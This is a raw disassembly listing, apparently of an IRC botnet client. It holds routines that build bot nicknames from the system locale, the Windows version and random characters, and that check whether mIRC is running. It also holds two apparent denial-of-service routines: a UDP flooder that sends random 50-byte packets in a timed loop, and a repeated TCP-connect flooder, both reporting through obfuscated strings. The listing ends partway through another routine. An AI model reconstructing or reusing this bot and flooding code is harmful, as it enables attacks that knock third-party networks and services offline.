push 10h
mov esi, offset byte_4583F8
push 0
push esi
mov ebx, ecx
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_10]
push 10h
push eax
push 7
push 800h
call dword_4370E8 ; GetLocaleInfoA
lea eax, [ebp+var_10]
push eax
push offset dword_4476F4
push esi
call sub_429A33
push esi
call sub_4292D0
add esp, 10h
mov edi, eax
jmp short loc_41D246
; ---------------------------------------------------------------------------
loc_41D231: ; CODE XREF: sub_41D1E5+64j
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
add dl, 30h
mov byte_4583F8[edi], dl
inc edi
loc_41D246: ; CODE XREF: sub_41D1E5+4Aj
cmp edi, [ebx+24h]
jle short loc_41D231
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_41D1E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D252 proc near ; CODE XREF: sub_41D0BB+Fp
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_90 = dword ptr -90h
var_6 = byte ptr -6
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0A0h
push ebx
push esi
push edi
push 10h
mov edi, offset byte_45845C
push 0
push edi
mov [ebp+var_4], ecx
mov esi, offset off_4476F8
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_A0]
mov [ebp+var_A0], 9Ch
push eax
call dword_437050 ; GetVersionExA
test eax, eax
jz loc_41D377
push [ebp+var_98]
push [ebp+var_9C]
push offset aD_D ; "%d.%d"
push 4
push esi
call sub_429AEE
add esp, 14h
cmp [ebp+var_9C], 4
jnz short loc_41D30A
cmp [ebp+var_98], 0
jnz short loc_41D2EA
cmp [ebp+var_90], 1
jnz short loc_41D2D3
mov esi, offset a95 ; "95"
loc_41D2D3: ; CODE XREF: sub_41D252+7Aj
cmp [ebp+var_90], 2
jnz loc_41D377
mov esi, offset aNt_0 ; "NT"
jmp loc_41D377
; ---------------------------------------------------------------------------
loc_41D2EA: ; CODE XREF: sub_41D252+71j
cmp [ebp+var_98], 0Ah
jnz short loc_41D2FA
mov esi, offset a98 ; "98"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D2FA: ; CODE XREF: sub_41D252+9Fj
cmp [ebp+var_98], 5Ah
jnz short loc_41D377
mov esi, offset aMe_0 ; "ME"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D30A: ; CODE XREF: sub_41D252+68j
cmp [ebp+var_9C], 5
jnz short loc_41D343
cmp [ebp+var_98], 0
jnz short loc_41D323
mov esi, offset a2k ; "2K"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D323: ; CODE XREF: sub_41D252+C8j
cmp [ebp+var_98], 1
jnz short loc_41D333
mov esi, offset aXp ; "XP"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D333: ; CODE XREF: sub_41D252+D8j
cmp [ebp+var_98], 2
jnz short loc_41D377
mov esi, offset a2k3_0 ; "2K3"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D343: ; CODE XREF: sub_41D252+BFj
cmp [ebp+var_9C], 6
jnz short loc_41D377
cmp [ebp+var_98], 0
jnz short loc_41D369
cmp [ebp+var_6], 1
jnz short loc_41D362
mov esi, offset aVista_0 ; "Vista"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D362: ; CODE XREF: sub_41D252+107j
mov esi, offset a2k8 ; "2K8"
jmp short loc_41D377
; ---------------------------------------------------------------------------
loc_41D369: ; CODE XREF: sub_41D252+101j
cmp [ebp+var_98], 1
jnz short loc_41D377
mov esi, offset a7 ; "7"
loc_41D377: ; CODE XREF: sub_41D252+3Fj
; sub_41D252+88j ...
push esi
push edi
call sub_429A33
push edi
call sub_4292D0
mov ebx, [ebp+var_4]
add esp, 0Ch
mov esi, eax
jmp short loc_41D3A3
; ---------------------------------------------------------------------------
loc_41D38E: ; CODE XREF: sub_41D252+154j
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
add dl, 30h
mov byte_45845C[esi], dl
inc esi
loc_41D3A3: ; CODE XREF: sub_41D252+13Aj
cmp esi, [ebx+24h]
jle short loc_41D38E
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_41D252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AF proc near ; CODE XREF: sub_41D0BB+1Bp
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_9C = dword ptr -9Ch
var_12 = byte ptr -12h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 0ACh
push esi
push edi
push 10h
mov edi, offset dword_45846C
push 0
push edi
mov esi, offset off_4476F8
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_10]
push 10h
push eax
push 7
push 800h
call dword_4370E8 ; GetLocaleInfoA
lea eax, [ebp+var_AC]
mov [ebp+var_AC], 9Ch
push eax
call dword_437050 ; GetVersionExA
test eax, eax
jz loc_41D4E3
push [ebp+var_A4]
push [ebp+var_A8]
push offset aD_D ; "%d.%d"
push 4
push esi
call sub_429AEE
add esp, 14h
cmp [ebp+var_A8], 4
jnz short loc_41D476
cmp [ebp+var_A4], 0
jnz short loc_41D456
cmp [ebp+var_9C], 1
jnz short loc_41D43F
mov esi, offset a95 ; "95"
loc_41D43F: ; CODE XREF: sub_41D3AF+89j
cmp [ebp+var_9C], 2
jnz loc_41D4E3
mov esi, offset aNt_0 ; "NT"
jmp loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D456: ; CODE XREF: sub_41D3AF+80j
cmp [ebp+var_A4], 0Ah
jnz short loc_41D466
mov esi, offset a98 ; "98"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D466: ; CODE XREF: sub_41D3AF+AEj
cmp [ebp+var_A4], 5Ah
jnz short loc_41D4E3
mov esi, offset aMe_0 ; "ME"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D476: ; CODE XREF: sub_41D3AF+77j
cmp [ebp+var_A8], 5
jnz short loc_41D4AF
cmp [ebp+var_A4], 0
jnz short loc_41D48F
mov esi, offset a2k ; "2K"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D48F: ; CODE XREF: sub_41D3AF+D7j
cmp [ebp+var_A4], 1
jnz short loc_41D49F
mov esi, offset aXp ; "XP"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D49F: ; CODE XREF: sub_41D3AF+E7j
cmp [ebp+var_A4], 2
jnz short loc_41D4E3
mov esi, offset a2k3_0 ; "2K3"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D4AF: ; CODE XREF: sub_41D3AF+CEj
cmp [ebp+var_A8], 6
jnz short loc_41D4E3
cmp [ebp+var_A4], 0
jnz short loc_41D4D5
cmp [ebp+var_12], 1
jnz short loc_41D4CE
mov esi, offset aVista_0 ; "Vista"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D4CE: ; CODE XREF: sub_41D3AF+116j
mov esi, offset a2k8 ; "2K8"
jmp short loc_41D4E3
; ---------------------------------------------------------------------------
loc_41D4D5: ; CODE XREF: sub_41D3AF+110j
cmp [ebp+var_A4], 1
jnz short loc_41D4E3
mov esi, offset a7 ; "7"
loc_41D4E3: ; CODE XREF: sub_41D3AF+4Ej
; sub_41D3AF+97j ...
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
add edx, 30h
push edx
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
add edx, 30h
push edx
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
lea eax, [ebp+var_10]
add edx, 30h
push edx
push esi
push eax
push offset dword_4476FC
push edi
call sub_429A33
add esp, 1Ch
mov eax, edi
pop edi
pop esi
leave
retn
sub_41D3AF endp
; =============== S U B R O U T I N E =======================================
sub_41D529 proc near ; CODE XREF: sub_41D0BB+44p
var_12 = byte ptr -12h
var_10 = byte ptr -10h
sub esp, 14h
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 10h
mov edi, offset dword_45847C
push ebp
push edi
mov esi, ecx
call sub_429690
add esp, 0Ch
mov ecx, esi
mov [esi+2Ch], ebp
mov [esi+30h], ebp
mov [esi+38h], ebp
call sub_41D94F
mov ebx, eax
lea eax, [esp+24h+var_10]
push 10h
push eax
push 7
push 800h
call dword_4370E8 ; GetLocaleInfoA
push ebx
mov ebx, dword_437090
push edi
call ebx ; dword_437090
lea eax, [esp+24h+var_10]
push eax
push edi
call ebx ; dword_437090
push offset dword_447710
push edi
call ebx ; dword_437090
xor eax, eax
inc eax
cmp [esi+2Ch], ebp
jz short loc_41D590
push 2
pop eax
loc_41D590: ; CODE XREF: sub_41D529+62j
cmp [esi+30h], ebp
jz short loc_41D596
inc eax
loc_41D596: ; CODE XREF: sub_41D529+6Aj
cmp [esi+38h], ebp
jz short loc_41D59C
inc eax
loc_41D59C: ; CODE XREF: sub_41D529+70j
push 5
pop esi
cmp eax, esi
jge short loc_41D5CE
sub esi, eax
loc_41D5A5: ; CODE XREF: sub_41D529+A3j
call sub_429ACC
push 0Ah
cdq
pop ecx
idiv ecx
lea eax, [esp+24h+var_12]
push edx
push offset dword_44770C
push eax
call sub_429A33
add esp, 0Ch
lea eax, [esp+24h+var_12]
push eax
push edi
call ebx ; dword_437090
dec esi
jnz short loc_41D5A5
loc_41D5CE: ; CODE XREF: sub_41D529+78j
push offset dword_447710
push edi
call ebx ; dword_437090
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
sub_41D529 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5E0 proc near ; CODE XREF: sub_41D0BB+50p
var_4C = byte ptr -4Ch
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 10h
mov ebx, offset dword_458408
push 0
push ebx
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_41BA39
pop ecx
mov [ebp+var_C], eax
call sub_429ACC
push 1Ah
mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
cdq
pop ecx
lea edi, [ebp+var_4C]
idiv ecx
push 0Fh
pop ecx
rep movsd
movsw
movsb
add dl, 61h
mov [ebp+var_8], dl
call sub_429ACC
push 24h
pop esi
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_7], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_6], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_5], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_4], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_3], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_2], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_4C]
mov [ebp+var_1], al
call sub_429ACC
cdq
idiv esi
mov dl, [ebp+edx+var_4C]
movsx eax, dl
push eax
movsx eax, [ebp+var_1]
push eax
movsx eax, [ebp+var_2]
push eax
cmp [ebp+var_C], 5
movsx eax, [ebp+var_3]
push eax
movsx eax, [ebp+var_4]
push eax
movsx eax, [ebp+var_5]
push eax
movsx eax, [ebp+var_6]
push eax
movsx eax, [ebp+var_7]
push eax
movsx eax, [ebp+var_8]
push eax
jbe short loc_41D6F7
push [ebp+var_C]
push offset aDCCCCCCCCC ; "|%d|%c%c%c%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 30h
jmp short loc_41D705
; ---------------------------------------------------------------------------
loc_41D6F7: ; CODE XREF: sub_41D5E0+102j
push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 2Ch
loc_41D705: ; CODE XREF: sub_41D5E0+115j
pop edi
mov eax, ebx
pop esi
pop ebx
leave
retn
sub_41D5E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D70C proc near ; CODE XREF: sub_41D0BB+5Cp
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
push 10h
mov ebx, offset dword_45843C
push 0
push ebx
mov [ebp+var_14], ecx
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_41BA39
pop ecx
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
call sub_41DA00
mov [ebp+var_10], eax
call sub_429ACC
push 1Ah
mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
cdq
pop ecx
lea edi, [ebp+var_54]
idiv ecx
push 0Fh
pop ecx
rep movsd
movsw
movsb
add dl, 61h
mov [ebp+var_8], dl
call sub_429ACC
push 24h
pop esi
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_7], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_6], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_5], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_4], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_3], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_2], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_54]
mov [ebp+var_1], al
call sub_429ACC
cdq
idiv esi
mov dl, [ebp+edx+var_54]
movsx eax, dl
push eax
cmp [ebp+var_C], 5
movsx eax, [ebp+var_1]
push eax
movsx eax, [ebp+var_2]
push eax
movsx eax, [ebp+var_3]
push eax
movsx eax, [ebp+var_4]
push eax
movsx eax, [ebp+var_5]
push eax
movsx eax, [ebp+var_6]
push eax
movsx eax, [ebp+var_7]
push eax
movsx eax, [ebp+var_8]
push eax
push [ebp+var_10]
jbe short loc_41D834
push [ebp+var_C]
push offset aDSCCCCCCCCC ; "|%d|%s%c%c%c%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 34h
jmp short loc_41D842
; ---------------------------------------------------------------------------
loc_41D834: ; CODE XREF: sub_41D70C+113j
push offset aSCCCCCCCCC ; "%s%c%c%c%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 30h
loc_41D842: ; CODE XREF: sub_41D70C+126j
mov ecx, [ebp+var_14]
call sub_41D94F
pop edi
mov eax, ebx
pop esi
pop ebx
leave
retn
sub_41D70C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D851 proc near ; CODE XREF: sub_41D0BB+68p
var_48 = byte ptr -48h
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
push 10h
mov ebx, offset dword_458418
push 0
push ebx
call sub_429690
call sub_429ACC
push 1Ah
mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
cdq
pop ecx
lea edi, [ebp+var_48]
idiv ecx
push 0Fh
pop ecx
rep movsd
movsw
movsb
add dl, 61h
mov [ebp+var_8], dl
call sub_429ACC
push 24h
pop esi
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_7], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_6], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_5], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_4], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_3], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_2], al
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_48]
mov [ebp+var_1], al
call sub_429ACC
cdq
idiv esi
movsx eax, [ebp+edx+var_48]
push eax
movsx eax, [ebp+var_1]
push eax
movsx eax, [ebp+var_2]
push eax
movsx eax, [ebp+var_3]
push eax
movsx eax, [ebp+var_4]
push eax
movsx eax, [ebp+var_5]
push eax
movsx eax, [ebp+var_6]
push eax
movsx eax, [ebp+var_7]
push eax
movsx eax, [ebp+var_8]
push eax
push offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 38h
mov eax, ebx
pop edi
pop esi
pop ebx
leave
retn
sub_41D851 endp
; =============== S U B R O U T I N E =======================================
sub_41D94F proc near ; CODE XREF: sub_41D529+27p
; sub_41D70C+139p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
push 10h
mov esi, offset dword_4583D8
push 0
push esi
mov ebx, ecx
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_41BA39
mov ebp, offset dword_447710
mov [esp+20h+var_C], eax
push ebp
push esi
call sub_429A33
add esp, 0Ch
push 0
push offset aMirc ; "mIRC"
call dword_456F24 ; FindWindowA
mov edi, dword_437090
test eax, eax
jz short loc_41D9AF
push offset aM ; "M"
push esi
mov dword ptr [ebx+2Ch], 1
call edi ; dword_437090
loc_41D9AF: ; CODE XREF: sub_41D94F+4Fj
push offset dword_457CD8
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_41D9CD
push offset aP ; "P"
push esi
mov dword ptr [ebx+30h], 1
call edi ; dword_437090
loc_41D9CD: ; CODE XREF: sub_41D94F+6Dj
push [esp+1Ch+var_C]
lea eax, [esp+20h+var_8]
push offset a_2d ; "%.2d"
push eax
call sub_429A33
mov eax, [esp+28h+var_C]
add esp, 0Ch
mov [ebx+28h], eax
lea eax, [esp+1Ch+var_8]
push eax
push esi
call edi ; dword_437090
push ebp
push esi
call edi ; dword_437090
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
sub_41D94F endp
; =============== S U B R O U T I N E =======================================
sub_41DA00 proc near ; CODE XREF: sub_41D70C+31p
push ebx
push ebp
push esi
push edi
push 10h
mov esi, offset dword_4583E8
push 0
push esi
mov edi, ecx
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_41BA39
pop ecx
push 0
push offset aMirc ; "mIRC"
call dword_456F24 ; FindWindowA
mov ebx, dword_437090
xor ebp, ebp
inc ebp
test eax, eax
jz short loc_41DA4A
push offset aM_0 ; "M|"
push esi
mov [edi+2Ch], ebp
call ebx ; dword_437090
loc_41DA4A: ; CODE XREF: sub_41DA00+3Dj
push offset dword_457CD8
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_41DA64
push offset aP_0 ; "P|"
push esi
mov [edi+30h], ebp
call ebx ; dword_437090
loc_41DA64: ; CODE XREF: sub_41DA00+57j
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA00 endp
; =============== S U B R O U T I N E =======================================
sub_41DA6B proc near ; CODE XREF: sub_420CAE+12p
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
jnz short loc_41DA76
xor eax, eax
inc eax
jmp short locret_41DA8F
; ---------------------------------------------------------------------------
loc_41DA76: ; CODE XREF: sub_41DA6B+4j
push [esp+arg_0]
push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
push offset aSS ; "%s %s\r\n"
push dword ptr [ecx]
push ecx
call sub_41C41E
add esp, 14h
locret_41DA8F: ; CODE XREF: sub_41DA6B+9j
retn 4
sub_41DA6B endp
; =============== S U B R O U T I N E =======================================
sub_41DA92 proc near ; CODE XREF: sub_40A938+794p
; sub_40A938+231Ap ...
mov eax, [ecx+8]
retn
sub_41DA92 endp
; =============== S U B R O U T I N E =======================================
sub_41DA96 proc near ; CODE XREF: sub_40A938+7B1p
; sub_40A938+8768p ...
mov eax, [ecx+0Ch]
retn
sub_41DA96 endp
; =============== S U B R O U T I N E =======================================
sub_41DA9A proc near ; CODE XREF: sub_418EDB+5BDp
; sub_421F40+DFp ...
mov al, [ecx+4]
retn
sub_41DA9A endp
; =============== S U B R O U T I N E =======================================
sub_41DA9E proc near ; CODE XREF: sub_418EDB+64Bp
mov al, [ecx+5]
retn
sub_41DA9E endp
; =============== S U B R O U T I N E =======================================
sub_41DAA2 proc near ; CODE XREF: sub_40A938+6195p
; sub_40A938+9991p
mov eax, [ecx]
retn
sub_41DAA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DAA5 proc near ; DATA XREF: sub_40A938+6FF6o
var_150 = dword ptr -150h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 150h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov dword ptr [eax+12Ch], 1
mov eax, [ebp+var_150]
xor esi, esi
mov [ebp+var_8], eax
push esi
mov [ebp+arg_0], esi
call sub_42A705
push 32h
mov [ebp+var_10], eax
call sub_4296E8
pop ecx
cmp eax, esi
pop ecx
mov [ebp+var_4], eax
jz loc_41DBC7
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_C8]
push eax
call dword_4372BC
push [ebp+var_3C]
mov [ebp+var_1C], eax
mov [ebp+var_20], 2
call dword_4372C0
mov ebx, dword_4372D4
mov [ebp+var_1E], ax
loc_41DB2E: ; CODE XREF: sub_41DAA5+111j
xor edi, edi
cmp [ebp+var_3C], edi
jnz short loc_41DB3E
call sub_429ACC
mov [ebp+var_1E], ax
loc_41DB3E: ; CODE XREF: sub_41DAA5+8Ej
push 11h
push 2
push 2
call dword_4372B8
mov esi, eax
cmp esi, edi
jl short loc_41DBBB
lea eax, [ebp+var_C]
mov [ebp+var_C], 1
push eax
push 8004667Eh
push esi
call dword_43728C
loc_41DB67: ; CODE XREF: sub_41DAA5+D1j
call sub_429ACC
mov ecx, [ebp+var_4]
mov [edi+ecx], al
inc edi
cmp edi, 32h
jb short loc_41DB67
lea eax, [ebp+var_20]
push 10h
xor edi, edi
push eax
push edi
push 32h
push ecx
push esi
call dword_437290
push esi
call ebx ; dword_4372D4
cmp [ebp+arg_0], 32h
jb short loc_41DBAA
push edi
call sub_42A705
mov edx, [ebp+var_10]
pop ecx
mov ecx, [ebp+var_38]
add ecx, edx
cmp eax, ecx
jge short loc_41DBD0
mov [ebp+arg_0], edi
loc_41DBAA: ; CODE XREF: sub_41DAA5+EDj
push [ebp+var_40]
inc [ebp+arg_0]
call dword_43718C ; Sleep
jmp loc_41DB2E
; ---------------------------------------------------------------------------
loc_41DBBB: ; CODE XREF: sub_41DAA5+A9j
push esi
call ebx ; dword_4372D4
push [ebp+var_34]
call sub_42355A
pop ecx
loc_41DBC7: ; CODE XREF: sub_41DAA5+4Bj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_41DBD0: ; CODE XREF: sub_41DAA5+100j
cmp [ebp+var_2C], 0
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
mov esi, offset aSSS_2 ; "%s %s -> %s"
jnz short loc_41DC07
cmp [ebp+var_30], 0
jnz short loc_41DC0D
lea eax, [ebp+var_C8]
push eax
push ebx
push edi
lea eax, [ebp+var_148]
push esi
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 18h
loc_41DC07: ; CODE XREF: sub_41DAA5+13Ej
cmp [ebp+var_30], 0
jz short loc_41DC29
loc_41DC0D: ; CODE XREF: sub_41DAA5+144j
lea eax, [ebp+var_C8]
push eax
push ebx
push edi
lea eax, [ebp+var_148]
push esi
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 18h
loc_41DC29: ; CODE XREF: sub_41DAA5+166j
push [ebp+var_4]
call sub_429822
push [ebp+var_34]
call sub_42355A
pop ecx
pop ecx
push 0
call dword_437170 ; ExitThread
sub_41DAA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC43 proc near ; DATA XREF: sub_40A938+71DFo
var_14C = dword ptr -14Ch
var_144 = byte ptr -144h
var_C4 = byte ptr -0C4h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
mov dword ptr [eax+12Ch], 1
mov eax, [ebp+var_14C]
xor ebx, ebx
mov [ebp+var_4], eax
push ebx
mov [ebp+arg_0], ebx
call sub_42A705
mov [ebp+var_8], eax
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_429690
add esp, 10h
lea eax, [ebp+var_C4]
push eax
call dword_4372BC
push [ebp+var_38]
mov [ebp+var_18], eax
mov [ebp+var_1C], 2
call dword_4372C0
mov edi, dword_4372D4
mov [ebp+var_1A], ax
loc_41DCB8: ; CODE XREF: sub_41DC43+E4j
cmp [ebp+var_38], ebx
jnz short loc_41DCC6
call sub_429ACC
mov [ebp+var_1A], ax
loc_41DCC6: ; CODE XREF: sub_41DC43+78j
push 6
push 1
push 2
call dword_4372B8
mov esi, eax
cmp esi, ebx
jl short loc_41DD29
lea eax, [ebp+var_C]
mov [ebp+var_C], 4
push eax
push 8004667Eh
push esi
call dword_43728C
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4372C8
push esi
call edi ; dword_4372D4
cmp [ebp+arg_0], 32h
jl short loc_41DD1B
push ebx
call sub_42A705
mov edx, [ebp+var_8]
pop ecx
mov ecx, [ebp+var_34]
add ecx, edx
cmp eax, ecx
jge short loc_41DD3E
mov [ebp+arg_0], ebx
loc_41DD1B: ; CODE XREF: sub_41DC43+C0j
push [ebp+var_3C]
inc [ebp+arg_0]
call dword_43718C ; Sleep
jmp short loc_41DCB8
; ---------------------------------------------------------------------------
loc_41DD29: ; CODE XREF: sub_41DC43+93j
push esi
call edi ; dword_4372D4
push [ebp+var_30]
call sub_42355A
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_41DD3E: ; CODE XREF: sub_41DC43+D3j
cmp [ebp+var_28], 0
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
mov esi, offset aSSS_2 ; "%s %s -> %s"
jnz short loc_41DD75
cmp [ebp+var_2C], 0
jnz short loc_41DD7B
lea eax, [ebp+var_C4]
push eax
push ebx
push edi
lea eax, [ebp+var_144]
push esi
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 18h
loc_41DD75: ; CODE XREF: sub_41DC43+10Ej
cmp [ebp+var_2C], 0
jz short loc_41DD97
loc_41DD7B: ; CODE XREF: sub_41DC43+114j
lea eax, [ebp+var_C4]
push eax
push ebx
push edi
lea eax, [ebp+var_144]
push esi
push eax
push [ebp+var_4]
call sub_41CD0E
add esp, 18h
loc_41DD97: ; CODE XREF: sub_41DC43+136j
push [ebp+var_30]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
sub_41DC43 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDA8 proc near ; DATA XREF: sub_40A938+738Ao
var_248 = dword ptr -248h
var_240 = byte ptr -240h
var_1C0 = byte ptr -1C0h
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = byte ptr -110h
var_10F = byte ptr -10Fh
var_10E = word ptr -10Eh
var_10C = byte ptr -10Ch
var_E0 = byte ptr -0E0h
var_CC = word ptr -0CCh
var_CA = word ptr -0CAh
